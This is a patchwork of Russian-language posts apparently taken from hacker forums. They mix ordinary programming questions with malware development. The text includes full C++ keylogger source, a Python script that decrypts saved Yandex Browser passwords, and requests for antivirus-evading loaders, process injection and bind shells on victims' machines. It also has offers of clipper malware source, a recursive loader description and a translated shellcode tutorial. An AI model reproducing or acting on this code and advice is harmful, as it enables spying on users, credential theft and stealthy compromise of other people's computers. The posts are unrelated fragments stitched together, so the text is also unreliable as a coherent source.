Я с одним дурачком спорю тут, я за то что в байтах L"abc" выглядит так { 'a', 0, 'b', 0, 'c', 0, 0, 0 }, но он в это не верит, так кто прав?
Здравствуйте! Ищу исходники и мануалы
по созданию builder'a к своей программе.
p.s. желательно исходники на delphi и c++
если у кого есть, поделитесь.
Спасибо!
Пишу вот для интереса лоадер, сейчасашний функционал:
Download & Execute exe
Download & Execute dll
Process protection
Autorun
ну там код для обращения к панели и пр..
Вес билда: 3.5kb
Вот думаю тут, что можно ещё добавить и как бы сделать автозапуск чистым для
ав.
Может подскажет кто?
Всем доброго времени суток. Появилась такая идея, как написать генератор слов, которые не будут иметь смысла (слоаврь). Речь идет про ники, как игровые так и форумные. Да, есть сайты, которые уже заточены под это. Но мне хочется самому написать. Я пишу на менее популярном языке нежели Си, потоэму мне важна сама идея. Буду рад услышать ваши мнения.
Товарищи единомышленники! Подкиньте, пожалуйста, идеи для своих программ на
С++ для практики, в голову совсем ничего не лезет, а скилл качать нужно!
Всем заранее спасибо и всех с Рождеством!
Может кто набросать примеры антиотладочных приемов на С без применения асма или с минимальным применением.
Нужен сорец декодирования данных из base64 на с++, желательно без использования хедеров типа stdio.h, string и namespace std , у кого есть буду благодарен
p.s. покопайтесь в своих тайничках
Нужны сорцы bind shella рабочего у кого есть интересные реализации, вообщем перепробовал я много исходников , нашел один более менее не глючный, но невозможно работать с ftp.exe через cmd на компе жертвы, а по-другому файл залить никак , если нет сорцов можно у кого есть какие идеи как можно залить файл через команды cmd.exe...
Я прошу вас не смеятся надо мной за этот вопрос но я просто только вчера начал изучать этот язык поэтому у меня есть такой вопрос .
Допустим я построил вот такой крак ме :
Code:Copy to clipboard
#include <iostream.h>
int main()
{
int pass = 111111111111111111111111;
int mbpswd;
cout << "input password: ";
cin >> mbpswd;
if (mbpswd == 111111111111111111111111)
{
cout << "bla";
}
else
{
cout << "blablabla";
}
return 0;
}
Этот код говорит о том что пароль должен быть цифрой но что если я хочу
например сделать его буквами (например damagelab).
Какой мне код тогда надо написать?
Без всяких ДЛЛ .
Code:Copy to clipboard
#define _WIN32_WINNT 0x1337
#include <fstream>
#include <windows.h>
using namespace std;
HHOOK keyboardHook;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
ofstream out("keys.txt", ios::app);
switch (p->vkCode) {
// Invisible keys
case VK_CAPITAL: out << "[CAPLOCK]"; break;
case VK_LSHIFT: out << "[LSHIFT]"; break;
case VK_RSHIFT: out << "[RSHIFT]"; break;
case VK_LCONTROL: out << "[LCTRL]"; break;
case VK_RCONTROL: out << "[RCTRL]"; break;
case VK_INSERT: out << "[INSERT]"; break;
case VK_END: out << "[END]"; break;
case VK_PRINT: out << "[PRINT]"; break;
case VK_DELETE: out << "[DEL]"; break;
case VK_BACK: out << "[BK]"; break;
case VK_LEFT: out << "[left]"; break;
case VK_RIGHT: out << "[right]"; break;
case VK_UP: out << "[UP]"; break;
case VK_DOWN: out << "[DOWN]"; break;
// Visible keys
default:
out << "[" << char(p->vkCode) << "]";
}
out.close();
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
void keepAlive()
{
MSG message;
while (GetMessage(&message,NULL,0,0))
{
TranslateMessage( &message );
DispatchMessage( &message );
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);
keepAlive();
UnhookWindowsHookEx(keyboardHook);
return 0;
}
Недавно стало нужно начать изучать азы java по работе, вот наткнулся на книгу Вязовика Н.А. Материал изложен ввиде курса лекций, после каждой главы, идут задания. Ну это вкратце от меня. Вот официальное краткое содержание, так сказать:
Данное руководство предназначено для преподавателей информатики в ВУЗах России, принимающих участие по постановке курсов преподавания Java в рамках программы поддержания процесса обучения информационным технологиям в ВУЗах, представленной представительством компании Sun Microsystems в странах СНГ и Московским физико-техническим институтом (МФТИ). Рекомендовано УМО в области прикладной информатики для студентов высших учебных заведений, обучающихся по специальности 351400 "Прикладная информатика".
Методика преподавания опирается на четырехлетний опыт преподавания курсов по Java студентам МФТИ. По инициативе Sun Microsystems курс переработан таким образом, чтобы максимально облегчить процесс сертификации по Java для студентов, прослушавших курс. При подготовке курсов использован опыт создания информационных систем на основе Java технологий, накопленный Центром Sun технологий МФТИ и Центром открытых систем и высоких технологий МФТИ. Предлагается переподготовка преподавателей для чтения курсов по Java на основе совместного учебного центра Sun Microsystems и Центра дополнительного профессионального образования МФТИ.Click to expand...
Люди ответьте плз на один вопрос:
Что за MS Visual C++ 7.0 ? Его отличие от 6 и стоит ли на него переходить,
если пишу в 6...
Заранее благодарю
PE Editor 1.4-beta
Бета-версия моего собственного редактора PE заголовков.
Возможности:
Исходники и бинарник доступны тут: http://cribble.by.ru/peeditor-1.4-beta/
Народ, расскажите какая разница в кодинге под винду и никсы ? Как запустить к примеру с веб шелла прогу на сишке на никсах ? Или книгу какую подкиньте, заранее спасибо.
ось -винда, язык с++, формат ехе
1. В какую ветку реестра лучше поцепить автозагрузку ?
2. Как обойти обнаружение инжекции в другой процес со стороны винды и
антивиров (файрволов ) ?
3. Какие есть способы иньекции кроме методом создания удаленного процеса и
копирования туда блока кода ?
4. Почему иногда при инжекции кода в чужой процес тот аварийно завершается,
код инжектится в высокие участки помяти
Вот я сижу, и думаю какую книгу по С++ заказать, и кое что не пойму.
Вот взять delphi, всем известно что разработчик - Borland.
Взять Visual Basic, всем известно что разработчик - Microsoft.
А если взять С++?
Есть книги с названиями C++ builder, Borland C++, Visual C++, и просто С++.
Так в чём разница? О каком С++ говорится в книгах С++ builder, и где просто
название С++?
Таже самая история с С#.
А, кстати, что насчёт С#, почему везде написано, что разработчиком С#
является микрософт, тогда откуда у Borland'a он тоже есть?
Жду ответов, заранее СПС.
И, если не затруднит, предложите хорошие интернет магазины книг с доставкой и
относительно хорошими ценами
Пытаюсь разобраться с winsock2, принцип работы понятен, но не могу найти примеров реального полноценного использования асинхронных сокетов( с проверкой ошибок и.т.п.), или какую-нибудь статью(ток не целую книгу).
Особенно интересует пример простого чата, или remote admina(типа того), или backdoora....
Просто не хочется наступать на уже известные грабли, а я так чувствую их тут не мало...
Бесит. Очень бесит. Хочется расшифровать. Пока что вот какие мысли удалось собрать в кучу:
После декрипта DPAPIой мастер ключа, можно двигаться в Ya Passman Data, в
которой у нас есть необычный блоб,
которого нет в ориг Хроме, по v10 можно сделать выводы, что тут у нас сам черт
велел покапаться с аесом?
Code:Copy to clipboard
def passwords():
try:
conn = sqlite3.connect("Ya Passman Data")
cursor = conn.cursor()
cursor.execute("SELECT value FROM main.meta WHERE key='local_encryptor_data'")
Что думаете чертяки? Пока код такой:
Code:Copy to clipboard
import os
import sqlite3
import time
from Crypto.Cipher import AES
import json
import base64
from win32crypt import CryptUnprotectData
# Функция для извлечения паролей
def passwords():
try:
conn = sqlite3.connect("Ya Passman Data")
cursor = conn.cursor()
cursor.execute("SELECT value FROM main.meta WHERE key='local_encryptor_data'")
# Получаем одну запись из результата запроса
value = cursor.fetchone()
# Проверяем, что значение было найдено
if value is not None:
local_encryptor_data = value[0] # Извлекаем значение из кортежа
master_key = get_master_key()
decrypted_password = experiment_decrypt(local_encryptor_data, master_key)
# Представляем байты в разных форматах
hex_representation = decrypted_password.hex()
ansi_representation = decrypted_password.decode('latin-1')
length = len(decrypted_password)
print(f"Decrypted Password (Hex): {hex_representation}")
print(f"Decrypted Password (ANSI): {ansi_representation}")
print(f"Decrypted Password Length: {length} bytes")
else:
print("Значение не найдено в базе данных")
conn.close()
except Exception as e:
print(f"[!] Unknown Error: {e}")
def get_master_key():
with open("Local State", "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
key = key[5:]
key = CryptUnprotectData(key, None, None, None, 0)[1]
return key
# Функция для проведения эксперимента с IV
def experiment_decrypt(buffer, master_key):
try:
iv = buffer[0:12]
payload = buffer[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
return decrypted_pass
except Exception as e:
return f"Error _decrypt: {e}"
passwords()
Или думаете о том хуле мне не спится? ЗЫ: Кхорну нужно больше хаоса!
ЗЫ2: даже мелкашная ошибка в коде у меня будет незаметна в рантайме, если
заинтересовались то перепроверьте пожалуйста х#йню же пишу
Подборка курсов, книг и прочего обучающего материала по Rust.
Practical System programming for Rust developers / Практическое системное
программирование для разработчиков на Rust
Год издания: 2020
Автор: Eshwarla Prabhu / Эшварла Прабху
Издательство: Packt
ISBN: 9781800560963
Язык: Английский
Формат: PDF/epub
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Да
Количество страниц: 388
Mastering Rust. Second Edition
Год издания: 2018
Автор: Rahul Sharma, Vesa Kaihlavirta
Жанр или тематика: Компьютерная литература
Издательство: PACKT
ISBN: 978-1-78934-657-2
Язык: Английский
Формат: PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Количество страниц: 544
Hands-On Data Structures and Algorithms with Rust
Год издания: 2019
Автор: Claus Matzinger
Жанр или тематика: Компьютерная литература
Издательство: PACKT
ISBN: 978-1-78899-552-8
Язык: Английский
Формат: PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Количество страниц: 316
Rust Standard Library Cookbook / Стандартная библиотека Rust
Год издания: March 2018
Автор: Jan Nils Ferner, Daniel Durante
Жанр или тематика: Программирование
Издательство: Packt Publishing
ISBN: 9781788623926
Язык: Английский
Страниц: 329
Формат: EPUB/MOBI/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Rust High Performance / Высокая производительность в Rust
Год издания: March 2018
Автор: Iban Eguia Moraza
Жанр или тематика: Программирование
Издательство: packpub
ISBN: 9781788399487
Язык: Английский
Формат: EPUB/MOBI/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Количество страниц: 272
Hands-On Concurrency with Rust / Практический параллелизм на Rust
Год издания: 2018
Автор: Brian L. Troutwine
Жанр или тематика: Программирование
Издательство: packtpub
ISBN: 9781788399975
Язык: Английский
Формат: EPUB/MOBI/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Количество страниц: 462
Hands On Functional Programming in Rust / Функциональное программирование на
Rust
Год издания: May 2018
Автор: Andrew Johnson
Жанр или тематика: Программирование
Издательство: packtpub
ISBN: 9781788839358
Язык: Английский
Формат: EPUB/MOBI/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Да
Количество страниц: 249
Network Programming with Rust / Сетевое программирование с помощью Rust
Год издания: February 2018
Автор: Abhishek Chanda
Жанр или тематика: Программирование
Издательство: packtpub
ISBN: 9781788624893
Язык: Английский
Формат: EPUB/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Да
Количество страниц: 278
Programming Rust
Год издания: 2018
Автор: Blandy J., Orendorff J.
Издательство: O'Reilly Media
ISBN: 978-1-491-92728-1
Язык: Английский
Формат: PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Да
Количество страниц: 622
Rust Essentials
Год издания: 2015
Автор: Ivo Balbaert
Издательство: Packt Publishing
ISBN: 9781785285769
Язык: Английский
Формат: ePub
Качество: Изначально компьютерное (eBook)
Интерактивное оглавление: Да
Количество страниц: 205
Всё взято с рутрекера.
Hidden content for authorized users.
Скачать: http://vtl3h5fnbhgwqv7zdeo6pfyjiwhvrbdif74wtccnsn5aaggfkdl4poqd.onion/rust/
Который невозможно снять
Всем привет! Спорили с другом о том, какой ЯП лучше подходит для написания малвари. Я пытался убедить, что это си, но он был непреклонен. В общем то, все мои аргументы по типу "зависимости от .NET", он парировал. Так чем c# плох?
Узнайте, как преобразовать любой код в стабильный шелл-код с помощью Visual Studio 2019 и C++ в простых шагах!
В этой статье мы будем использовать Visual Studio 2019 и C++ для создания независимого машинного 64-битного кода, который можно использовать в качестве шелл-кода, Эта операция требует особых навыков, но после прочтения статьи вы сможете очень легко создать свой шелл-код...
Введение
Шелл-код - одна из самых популярных методик в атаках и взломах, посмотрим что о нём говорится в Wikipedia:
Шелл-код обычно внедряется в память эксплуатируемой программы, после чего на него передается управление путём переполнения стека, или при переполнении буфера в куче, или используя атаки форматной строки. Передача управления шелл-коду осуществляется перезаписью адреса возврата в стеке адресом внедрённого шелл-кода, перезаписью адресов вызываемых функций или изменением обработчиков прерываний. Результатом этого является выполнение шелл-кода, который открывает командную строку для использования взломщиком.
Click to expand...
Итак. Всё это очень правильно, но я понимаю шелл-код как кусок кода, который
может быть выделен и выполнен динамически - без зависимостей от API
операционной системы или рантайма. Могу быть не прав, но это лучшее
определение того, что мы сейчас будем делать, поэтому...
Начнём!
Предисловие
Причины, по которым я взялся за всё это:
1. Прокачать свои знания в программировании и в понимании как работает
компьютер;
2. Улучшить безопасность моих программ и игр;
3. Это чертовски весело!
Важное замечание! Всё это можно использовать в плохих целях, но как вы знаете... Это меч! Защитить или навредить... решать вам!
Используя эту технику, вы сможете преобразовать критические и важные участки вашего кода (такие, как проверка лицензии) в шелл-код и зашифровать его в вашем приложении. Когда вам нужно проверить лицензию, вы просто расшифровываете код в куче, выполняете его. После проверки - освобождаете память... это осложняет отладку и не позволяет выполнить статический анализ приложения.
Подготовка проекта и окружения
1. Необходимые инструменты и программы
- Visual Studio 2019
- VC++ Build Tools
- CFF Explorer (PE
Viewer/Editor)
- HxD (Hex Editor)
2. Создаём пустые проекты
1. Запускаем Visual Studio 2019
2. Создаём два проекта C++
3. С именами code_gen и code_tester
4. В свойствах конфигурации проекта code_gen установите Тип конфигурации:
"Динамическая библиотека (.dll) "
5. Для code_tester - "Приложение (.exe) "
6. Установите для обоих проектов Конфигурацию Release и Платформу
x64.
3. Настройка DLL, независимой от API
В данный момент проект code_gen имеет зависимость стандартной библиотеки C++.
Выполните следующие шаги, чтобы сделать его полностью независимым.
1 Добавьте cpp -файл (не с -файл) в проект code_gen и напишите следующий код:
C:Copy to clipboard
extern "C" bool _code()
{
return true;
}
2 В свойствах проекта code_gen настройте следующие опции:
- Дополнительно > Использовать отладочные библиотеки: Нет
- Дополнительно > Оптимизация всей программы: Без оптимизации всей
программы
- C/C++ > Общие > Формат отладочной информации: Нет
- C/C++ > Общие > Проверка SDL: Нет (/sdl-)
- C/C++ > Создание кода > Включить C++ исключения: Нет
- C/C++ > Создание кода > Библиотека времени выполнения: Многопоточная
(/MT)
- C/C++ > Создание кода > Проверка безопасности: Отключить проверку
безопасности (/GS-)
- C/C++ > Язык > Режим совместимости: Нет (/permissive)
- C/C++ > Язык > Стандарт языка C++: Стандарт ISO C++17 (/std:c++17)
- Компоновщик > Ввод > Дополнительные зависимости: Пусто
- Компоновщик > Ввод > Игнорировать все стандартные библиотеки: Да
(/NODEFAULTLIB)
- Компоновщик > Отладка > Создавать отладочную информацию: Нет
- Компоновщик > Отладка > Создавать файл сопоставления: Да (/MAP)
- Компоновщик > Система > Подсистема: Машинный код (/SUBSYSTEM:NATIVE)
- Компоновщик > Оптимизация > Ссылки: Нет (/OPT:NOREF)
- Компоновщик > Дополнительно > Точка входа: _code
- Компоновщик > Дополнительно > Без точки входа: Да (/NOENTRY)
Замечание: изменяя точку входа на _code, мы предотвращаем создание DLL, содержащей только ресурсы, так же компоновщик не будет использовать стандартный main/DllMain в качестве точки входа.
Click to expand...
4. Настройка текстового приложения
Приложение не требует какой-то специфичной настройки, сейчас наше внимание
сосредоточено на написании кода, модификации и последующем запуске.
Добавьте main.cpp в проект code_tester и напишите там следующий код:
C++:Copy to clipboard
// main.cpp
#include <windows.h>
#include <iostream>
using namespace std;
int main()
{
return EXIT_SUCCESS;
}
Итак, всё готово!
Обычный метод
Давайте начнём с чего-то небольшого и простого, используя только математику, изменим функцию _code на указанную:
C++:Copy to clipboard
extern "C" int _code(int x, int y)
{
return x * y + (x + y);
}
Сейчас компилируем и в результате вы должны получить DLL-файл, если же нет... проверьте все пункты выше и убедитесь, что всё сделано без ошибок, что конфигурация корректна.
Нам нужны только два файла: .dll и .map. В dll находится исполняемый код, а map-файл содержит информацию об адресах, используемых компоновщиком, но наиболее важное его содержимое - это виртуальные адреса и смещения кода, на которые наш код отображается.
1. Открываем файл code_gen.dll в CFF Explorer.
Как можно заметить, у нашей DLL нет таблица адресов Импорта/Экспорта (IAT/EAT)
и только три секции, последние две из них не нужны: одна содержит данные для
отладки, вторая - ресурсы, такие как информация о версии файла. Код, который
мы ищем, находится в секции .text.
И единственная информация, которая нам нужна в этой секции - Virtual
Address и Raw Address.
2. Откройте code_gen.dll в HxD или любом другом шестнадцатеричном редакторе, нажмите Ctrl+G или выберите Search->Goto... и введите Raw Address... Это тот самый код, который мы ищем! Довольно просто, не так ли?
Опкод 0xC3 - это инструкция RETN , которая указывает нам на конец нашей функции, все прочие нулевые байты не нужны.
3. Выделите их, скопируйте через меню Edit->Copy as->C и вставьте в
main.cpp.
Код должен выглядеть следующим образом:
C++:Copy to clipboard
#include <windows.h>
#include <iostream>
using namespace std;
unsigned char _code_raw[9] = { 0x8D, 0x42, 0x01, 0x0F, 0xAF, 0xC1, 0x03, 0xC2, 0xC3 };
int main()
{
return EXIT_SUCCESS;
}
4. Сейчас мы должны создать прототип нашей функции, добавьте этот код в глобальной области видимости:
C:Copy to clipboard
typedef int(*_code_t)(int, int);
5. Пришло время установить на данные флаг выполнения, чтобы процессор мог выполнить наш код, добавьте следующее в функцию main:
C++:Copy to clipboard
DWORD old_flag;
VirtualProtect(_code_raw, sizeof _code_raw, PAGE_EXECUTE_READWRITE, &old_flag);
6. И последний шаг, чтобы выполнение происходило проще, добавьте этот код до возврата из функции:
C++:Copy to clipboard
_code_t fn_code = (_code_t)(void*)_code_raw;
int x = 500; int y = 1200;
printf("Result of function : %d\n", fn_code(x, y));
7. Скомпилируйте code_tester и запустите его, бац! Это работает! Результат должен выглядеть так:
Result of function : 601700
Click to expand...
Что ж, это был очень простой способ без аллокаций памяти, какого-либо
шифрования/дешифрования или сжатия/распаковки. Но всё же достаточно хороший,
чтобы появилось понимание что здесь происходит.
Теперь... перейдём на следующий уровень!
Продвинутый метод
Выше у нас был простой код, но когда он станет более сложным (сжатие,
шифрование, проверка лицензии и т.п.), то будет уже не так просто получить
смещение по любому адресу в двоичном коде. Поэтому нам нужен map-файл.
Также, мы не использовали библиотеку времени исполнения и WinAPI. Но в
программах все это нужно всегда. Этот момент мы обсудим во второй части
статьи.
В этой части статьи мы создадим два шелл-кода: один для шифрования буфера, а
второй для дешифрования буфера.
1. Склонируйте репозиторий tiny_aes_c
к себе, скопируйте оттуда только aes.c и aes.h в свой проект code_gen.
2. Измените code.cpp следующим образом:
C++:Copy to clipboard
// code.cpp
extern "C"
{
#include "aes.h"
bool _encrypt(void* data, size_t size)
{
// Encryption Code Area //
return true;
}
}
Замечание: можно не использовать extern "C", если измените имя файла code.cpp на code.c , но в дальнейшем вы не сможете использовать ни одну функцию C++. В любом случае, большинство библиотек C++ основаны на C, и все они совместимы друг с другом.
Click to expand...
tiny-aes-c основан на языке C, и в нём используются лишь некоторые функции среды выполнения C, которые компилятор оптимизирует до чистого машинного кода. Это означает, что наш шелл-код будет оптимизирован компилятором. И это хорошо!
3. Напишите код шифрования следующим образом и не используйте данные на стеке
C++:Copy to clipboard
// code.cpp
extern "C"
{
#include "aes.h"
bool _encrypt(void* data, size_t size)
{
// Allocate data on heap
struct AES_ctx ctx;
unsigned char key[32] = {
0xBB, 0x17, 0xCA, 0x8C, 0x69, 0x7F, 0xA1, 0x89,
0x3B, 0xCF, 0xA8, 0x12, 0x34, 0x6F, 0xB6, 0xE8,
0x79, 0x89, 0xDA, 0xD0, 0x0B, 0xA9, 0xA1, 0x1B,
0x5B, 0x38, 0xD0, 0x4A, 0x20, 0x4D, 0xB8, 0x0E};
unsigned char iv[16] = {
0xA3, 0xF3, 0xD4, 0xC5, 0x5E, 0xCD, 0x41, 0xA6,
0x22, 0xC9, 0x8D, 0xE5, 0xA3, 0xBB, 0x29, 0xF1};
// Initialize encrypt context
AES_init_ctx_iv(&ctx, key, iv);
// Encrypt buffer
AES_CBC_encrypt_buffer(&ctx, (uint8_t*)data, size);
return true;
}
}
4. Скомпилируйте и откройте code_gen.dll в CFF Explorer:
Как вы видите, появилась секция .rdata , причина её появления - данные из файла tiny-aes-c для массивов sbox и rsbox. Без этих данных код работать не будет.
Ручное объединение двух секций, исправление каждого адреса в коде довольно
сложно сделать без ошибок и потребуется очень много времени, но...
Есть одна волшебная директива компилятора, которая нам здесь поможет!
Добавьте следующий код в начало code.cpp :
C++:Copy to clipboard
#pragma comment(linker, "/merge:.rdata=.text")
5. Скомпилируйте и снова откройте code_gen.dll в CFF Explorer:
Бум! Исправлено, сейчас наш код расположен за данными, которые ему нужны.
6. Откройте code_gen.dll в HxD или любом другом шестнадцатеричном редакторе, нажмите Ctrl+G или выберите Search->Goto... и выберите секцию .text. Нажмите Ctrl+E или выберите Edit->Select Block, введите реальный размер секции .text. Скопируйте буфер как Си-массив и вставьте его в новый заголовочный файл проекта code_tester как shellcode_encrypter_raw.h. Имя массива должно совпадать с именем файла.
Замечание: чтобы облегчить извлечение кода, вы можете прямо в CFF Explorer щёлкнуть правую кнопку мышки на секции и выбрать пункт Dump section. Но иногда размер секции больше ожидаемого, поэтому ручной способ предпочтительней.
Click to expand...
7. Измените в проекте code_tester файл main.cpp следующим образом:
C++:Copy to clipboard
// main.cpp
#include <windows.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include "shellcode_encrypter_raw.h"
using namespace std;
typedef bool(*_encrypt)(void*, size_t);
#define ENC_SC_RAW shellcode_encrypter_raw
#define FUNCTION_OFFSET 0
int main(int argc, char* argv[])
{
// Check for commands count
if (argc != 4) return EXIT_FAILURE;
// Get commands values
char* input_file = argv[1];
char* process_mode = argv[2];
char* output_file = argv[3];
// Change code protection
DWORD old_flag;
VirtualProtect(ENC_SC_RAW, sizeof ENC_SC_RAW, PAGE_EXECUTE_READWRITE, &old_flag);
// Declaring encrypt function
_encrypt encrypt = (_encrypt)(void*)&ENC_SC_RAW[FUNCTION_OFFSET];
// Read input file to vector buffer
ifstream input_file_reader(argv[1], ios::binary);
vector<uint8_t> input_file_buffer(istreambuf_iterator<char>(input_file_reader), {});
// Add padding to input file data
for (size_t i = 0; i < 16; i++)
input_file_buffer.insert(input_file_buffer.begin(), 0x0);
for (size_t i = 0; i < 16; i++) input_file_buffer.push_back(0x0);
// Encrypting file buffer
if (strcmp(process_mode, "-e") == 0) encrypt(input_file_buffer.data(),
input_file_buffer.size());
// Save encrypted buffer to output file
fstream file_writter;
file_writter.open(output_file, ios::binary | ios::out);
file_writter.write((char*)input_file_buffer.data(), input_file_buffer.size());
file_writter.close();
// Code successfully executed
printf("OK"); return EXIT_SUCCESS;
}
8. OK, следующий шаг - найти смещение функции _encrypt в шелл-коде. Откройте code_gen.map в текстовом редакторе (я использую Notepad++).
9. Ищем _encrypt и должны найти эту строчку:
0001:000012c0 _encrypt 00000001800022C0 f code.obj
Click to expand...
Мы узнали относительный виртуальный адрес нашей функции (0x22C0), но нам нужен фактический адрес.
10. Вернёмся в CFF Explorer и найдём там виртуальный адрес секции .text , который равен 0x1000. Всё что нам остаётся сделать - вычесть один из другого и получить в результате 0x12C0. Это и есть искомое смещение. Обновим наш код:
C++:Copy to clipboard
#define FUNCTION_OFFSET 0x12C0
11. Скомпилируйте и проверьте его с помощью командной строки:
code_tester.exe some_image.jpg -e some_image_encrypted.jpg
Click to expand...
[ЯДЕРНЫЙ ВЗРЫВ!]
Результат выполнения - OK. Это означает, что полученный файл полностью зашифрован алгоритмом AES-256!
12. Итак, чтобы сгенерировать шелл-код дешифратора, выполните точно эти шаги,
за исключением:
- Используйте AES_CBC_decrypt_buffer вместо AES_CBC_encrypt_buffer;
- Измените прототип функции следующим образом:
C++:Copy to clipboard
typedef bool(*_crypt)(void*, size_t);
Вот как должен выглядеть код в main.cpp :
C++:Copy to clipboard
// main.cpp
#include <windows.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include "shellcode_encrypter_raw.h"
#include "shellcode_decrypter_raw.h"
using namespace std;
typedef bool(*_crypt)(void*, size_t);
#define ENC_SC_RAW shellcode_encrypter_raw
#define DEC_SC_RAW shellcode_decrypter_raw
#define FUNCTION_OFFSET 0x12C0
int main(int argc, char* argv[])
{
// Check for commands count
if (argc != 4) return EXIT_FAILURE;
// Get commands values
char* input_file = argv[1];
char* process_mode = argv[2];
char* output_file = argv[3];
// Validate process mode
if (strcmp(process_mode, "-e") != 0 &&
strcmp(process_mode, "-d") != 0) return EXIT_FAILURE;
// Change code protection
DWORD old_flag;
VirtualProtect(ENC_SC_RAW, sizeof ENC_SC_RAW, PAGE_EXECUTE_READWRITE, &old_flag);
VirtualProtect(DEC_SC_RAW, sizeof DEC_SC_RAW, PAGE_EXECUTE_READWRITE, &old_flag);
// Declaring encrypt function
_crypt encrypt = (_crypt)(void*)&ENC_SC_RAW[FUNCTION_OFFSET];
_crypt decrypt = (_crypt)(void*)&DEC_SC_RAW[FUNCTION_OFFSET];
// Read input file to vector buffer
ifstream input_file_reader(argv[1], ios::binary);
vector<uint8_t> input_file_buffer(istreambuf_iterator<char>(input_file_reader), {});
// Add padding to input file data
if(strcmp(process_mode, "-d") == 0) goto SKIP_PADDING;
for (size_t i = 0; i < 16; i++)
input_file_buffer.insert(input_file_buffer.begin(), 0x0);
for (size_t i = 0; i < 16; i++) input_file_buffer.push_back(0x0);
// Encrypting/Decrypting file buffer
SKIP_PADDING:
if (strcmp(process_mode, "-e") == 0) encrypt(input_file_buffer.data(),
input_file_buffer.size());
if (strcmp(process_mode, "-d") == 0) decrypt(input_file_buffer.data(),
input_file_buffer.size());
// Save encrypted buffer to output file
fstream file_writter;
file_writter.open(output_file, ios::binary | ios::out);
if (strcmp(process_mode, "-e") == 0)
file_writter.write((char*)input_file_buffer.data(), input_file_buffer.size());
if (strcmp(process_mode, "-d") == 0)
file_writter.write((char*)&input_file_buffer[16],
input_file_buffer.size() - 32);
file_writter.close();
// Code successfully executed
printf("OK"); return EXIT_SUCCESS;
}
13. Скомпилируйте и проверьте его с помощью командной строки:
code_tester.exe some_image_encrypted.jpg -d some_image_decrypted.jpg
Click to expand...
Вот и всё! Теперь у вас есть два небольших шелл-кода, которые выполняют
шифрование/дешифрование!
После использования код можно затереть. Также, вы можете паковать/шифровать
его разными ключами, распаковывая/расшифровывая лишь по мере необходимости.
Заключение
Это конец первой части. Во второй части мы создадим EXE/DLL
упаковщика/протектора с нуля, используя только C++ тем же способом, но с
намного более сложными вещами, такими как resolving, обфускация,
перенаправления вызовов и т.д.
Надеюсь, вам понравилась эта статья. Не стесняйтесь задавать свои вопросы в
комментариях. Следите за обновлениями!
---
Автор статьи - The Ænema. Оригинал тут -
<https://www.codeproject.com/Articles/5304605/Creating-Shellcode-from-any-
Code-Using-Visual-Stud>
Переведено специально для xss.is.
Мой первый перевод в жизни, буду благодарен за указание неточностей (в личку). Жду вторую часть, постараюсь и её перевести. Всем новых знаний!
Господа, мне стало очень интересно: вот Сишник может работать с файлами в двух режимах... записывать туда в виде обычного файла, ну типа текстовый файл, но это мы все знаем. А вот еще у него есть возможность записывать туда побитово... и мне стало очень интересно как же это сделать ??? Если не трудно, могли бы вы мне описать как это делает ??? и Желательно средствами C++, но если знаете как через C, то мона и это кинуть буду очень рад .
А то мне очень захотелось записывать в файл весь объект сразу, а не по одному полю...
Заказывал месяца 4 назад себе, думаю имею право выложить так как заплатил за
сурсы и разработку.
Чистый потому что хорошо криптовал, берег.
Перешел на нативный по этому держите, что там в рантайме хз, халява есть
халява.
Offline Clipper Source .Net 4.0
После обфускации обычным конфюзером:
Без обфускации, сырой билд:
Пароль на архив:
You must have at least 199 reaction(s) to view the content.
В ЛС не долбите смысла нет, если хайд не видите.
Всех приветствую, данным постом преследую две цели.
Уверен, что для старичков эта схема не будет новой, однако я ни в коем случае не притендую на авторство (статья 2019 года, а сам метод датируется 2004ым?) + этот метод куда уж лучше реализации через CreateDesktop
Далее цитирую самого автора
You must have at least 3 reaction(s) to view the content.
Спустя 3 дня мозгоебки и перебирания множества способов отрисовки... у
меня не выходит ничего кроме черного экрана.
Максимальный из результатов - вот (и то, это нельзя считать успешным
вариантом, так как это просто последний хендл, оставшийся в оперативной
памяти)
Собственно вопрос заключается в этом: Как сделать скриншот MDI формы за областью экрана.
Here is some code that was written about a year for a project for vx- underground. However, due to various reasons, the code is being publicly released.
tl;dr recursive loader, painful to reverse engineer
Explanation of code:
The following code is inspired by APT Linux/Kobalos. Kobalos was malware,
suspected to be tied to the Chinese government, which was fully recursive. It
was novel malware.
Following this inspiration, an x64 recursive loader was developed for Windows 10 and Windows 11. When compiled the binary has no entries in the IAT. The binary resolves all APIs via NTDLL. Additional libraries are loaded via LdrLoadDll.
The code recursively calls itself to execute functions. It determines which portion of code to execute using a flag (an enum). Each 'function' is encapsulated in a switch statement. All variables are recursively passed using the 'VARIABLE_TABLE' structure. The VARIABLE_TABLE also contains further nested structures for handling API function resolving, initializing COM objects and associated classes, and data structures for some 'switch functions' which may require additional variables for tasks.To avoid the compiler optimizing code and introducing functions into the IAT, some STDIO functionality such as ZeroMemory have been re-written in more unorthodox methods.
HTTPS requests are handled by COM via the WinHttpRequest Object.
